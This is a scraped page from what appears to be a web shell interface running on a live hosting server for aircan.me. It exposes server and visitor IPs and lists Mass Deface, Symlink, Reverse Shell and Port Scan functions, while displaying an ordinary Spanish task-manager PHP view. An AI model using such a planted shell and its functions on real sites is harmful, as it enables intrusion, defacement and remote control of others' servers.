Tul xxx Tul
User / IP
:
216.73.216.110
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
app
/
views
/
tareas
/
Viewing: index.php
<?php $success = $success ?? null; $error = $error ?? null; $total = ($pendientes ?? 0) + ($en_progreso ?? 0) + ($completadas ?? 0); ?> <?php if ($success): ?> <div class="alert alert-success alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #06d6a0;"> <i class="bi bi-check-circle-fill me-2"></i><?= htmlspecialchars($success) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #ef476f;"> <i class="bi bi-exclamation-circle-fill me-2"></i><?= htmlspecialchars($error) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <!-- Resumen de estados --> <div class="row g-3 mb-4"> <div class="col-md-3"> <div class="stat-card info"> <div class="stat-card-header"> <span class="stat-card-title">Total</span> <div class="stat-card-icon info"><i class="bi bi-list-task"></i></div> </div> <div class="stat-card-value"><?= $total ?></div> <div class="stat-card-change">Tareas registradas</div> </div> </div> <div class="col-md-3"> <div class="stat-card danger"> <div class="stat-card-header"> <span class="stat-card-title">Pendientes</span> <div class="stat-card-icon danger"><i class="bi bi-clock"></i></div> </div> <div class="stat-card-value" style="color: var(--danger);"><?= $pendientes ?></div> <div class="stat-card-change">Por iniciar</div> </div> </div> <div class="col-md-3"> <div class="stat-card warning"> <div class="stat-card-header"> <span class="stat-card-title">Progreso</span> <div class="stat-card-icon warning"><i class="bi bi-arrow-repeat"></i></div> </div> <div class="stat-card-value" style="color: #d97706;"><?= $en_progreso ?></div> <div class="stat-card-change">En desarrollo</div> </div> </div> <div class="col-md-3"> <div class="stat-card success"> <div class="stat-card-header"> <span class="stat-card-title">Completadas</span> <div class="stat-card-icon success"><i class="bi bi-check-circle"></i></div> </div> <div class="stat-card-value" style="color: var(--success);"><?= $completadas ?></div> <div class="stat-card-change">Finalizadas</div> </div> </div> </div> <!-- Tabla de tareas --> <div class="card-custom"> <div class="card-header-custom"> <h5><i class="bi bi-kanban me-2"></i>Todas las Tareas</h5> <a href="<?= BASE_URL ?>/tareas/create" class="btn btn-sm btn-primary-custom"> <i class="bi bi-plus-lg me-1"></i> Nueva Tarea </a> </div> <div class="card-body-custom p-0"> <?php if (empty($tareas)): ?> <div class="empty-section"> <div class="empty-section-icon"><i class="bi bi-kanban"></i></div> <h4>Sin tareas registradas</h4> <p>Crea la primera tarea y asígnala a un empleado.</p> <a href="<?= BASE_URL ?>/tareas/create" class="btn btn-primary-custom"> <i class="bi bi-plus-circle me-2"></i>Crear Tarea </a> </div> <?php else: ?> <div class="table-responsive"> <table class="table-custom"> <thead> <tr> <th>Tarea</th> <th>Asignado a</th> <th class="text-center">Estado</th> <th class="d-none d-md-table-cell">Fecha</th> <th style="width: 140px;">Acciones</th> </tr> </thead> <tbody> <?php foreach ($tareas as $t): ?> <?php $estadoConfig = [ 'pendiente' => ['class' => 'badge-soft-danger', 'icon' => 'bi-clock', 'label' => 'Pendiente'], 'en_progreso' => ['class' => 'badge-soft-warning', 'icon' => 'bi-arrow-repeat', 'label' => 'Progreso'], 'completada' => ['class' => 'badge-soft-success', 'icon' => 'bi-check-circle', 'label' => 'Completada'], ]; $ec = $estadoConfig[$t['estado']] ?? $estadoConfig['pendiente']; ?> <tr> <td> <div> <div style="font-weight: 700; color: #111827; font-size: 0.95rem;"><?= htmlspecialchars($t['titulo']) ?></div> <?php if (!empty($t['archivo'])): ?> <div style="font-size: 0.7rem; color: #6b7280; margin-top: 2px;"> <i class="bi bi-paperclip me-1"></i>Material adjunto </div> <?php endif; ?> </div> </td> <td> <div class="d-flex align-items-center gap-3"> <div class="user-avatar-small" style="width: 36px; height: 36px; border-radius: 12px; overflow: hidden; background: var(--primary); display: flex; align-items: center; justify-content: center; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1);"> <?php if (!empty($t['empleado_foto'])): ?> <img src="<?= BASE_URL ?>/public/assets/uploads/empleados/<?= htmlspecialchars($t['empleado_foto']) ?>" style="width: 100%; height: 100%; object-fit: cover;"> <?php else: ?> <span style="color: #fff; font-weight: 700; font-size: 0.85rem;"> <?= strtoupper(substr($t['empleado_nombre'], 0, 1)) ?> </span> <?php endif; ?> </div> <div> <div style="font-weight: 700; font-size: 0.88rem; color: #111827; line-height: 1.2;"><?= htmlspecialchars($t['empleado_nombre']) ?></div> <?php if (!empty($t['empleado_cargo'])): ?> <div style="font-size: 0.7rem; color: #6b7280;"><?= htmlspecialchars($t['empleado_cargo']) ?></div> <?php endif; ?> </div> </div> </td> <td class="text-center"> <span class="badge-modern <?= $ec['class'] ?>"> <i class="bi <?= $ec['icon'] ?>"></i><?= $ec['label'] ?> </span> </td> <td class="d-none d-md-table-cell text-center"> <div style="font-size: 0.85rem; font-weight: 600; color: #4b5563;"><?= date('d M', strtotime($t['fecha_creacion'])) ?></div> <div style="font-size: 0.65rem; color: #9ca3af;"><?= date('Y', strtotime($t['fecha_creacion'])) ?></div> </td> <td> <div class="d-flex gap-2 justify-content-center"> <a href="<?= BASE_URL ?>/tareas/show/<?= $t['id'] ?>" class="action-btn view" title="Ver detalle"> <i class="bi bi-eye"></i> </a> <a href="<?= BASE_URL ?>/tareas/edit/<?= $t['id'] ?>" class="action-btn edit" title="Editar tarea"> <i class="bi bi-pencil"></i> </a> <button type="button" class="action-btn delete btn-delete-tarea" data-id="<?= $t['id'] ?>" data-titulo="<?= htmlspecialchars($t['titulo']) ?>" title="Eliminar"> <i class="bi bi-trash"></i> </button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> <!-- Modal eliminar --> <div class="modal fade" id="deleteTareaModal" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content" style="border: none; border-radius: 16px;"> <div class="modal-header" style="border-bottom: 1px solid var(--border-color); padding: 20px 24px;"> <h5 class="modal-title"><i class="bi bi-exclamation-triangle text-danger me-2"></i>Eliminar Tarea</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body" style="padding: 24px;"> <p>¿Eliminar la tarea "<strong id="deleteTareaTitle"></strong>"?</p> </div> <div class="modal-footer" style="border-top: 1px solid var(--border-color); padding: 16px 24px;"> <button type="button" class="btn btn-sm btn-secondary" data-bs-dismiss="modal" style="border-radius: 6px;">Cancelar</button> <a href="#" id="deleteTareaBtn" class="btn btn-sm btn-danger" style="border-radius: 6px;"> <i class="bi bi-trash me-1"></i>Eliminar </a> </div> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const modal = new bootstrap.Modal(document.getElementById('deleteTareaModal')); document.querySelectorAll('.btn-delete-tarea').forEach(function(btn) { btn.addEventListener('click', function() { document.getElementById('deleteTareaTitle').textContent = this.dataset.titulo; document.getElementById('deleteTareaBtn').href = '<?= BASE_URL ?>/tareas/delete/' + this.dataset.id; modal.show(); }); }); }); </script>
Coded With 💗 by
0x6ick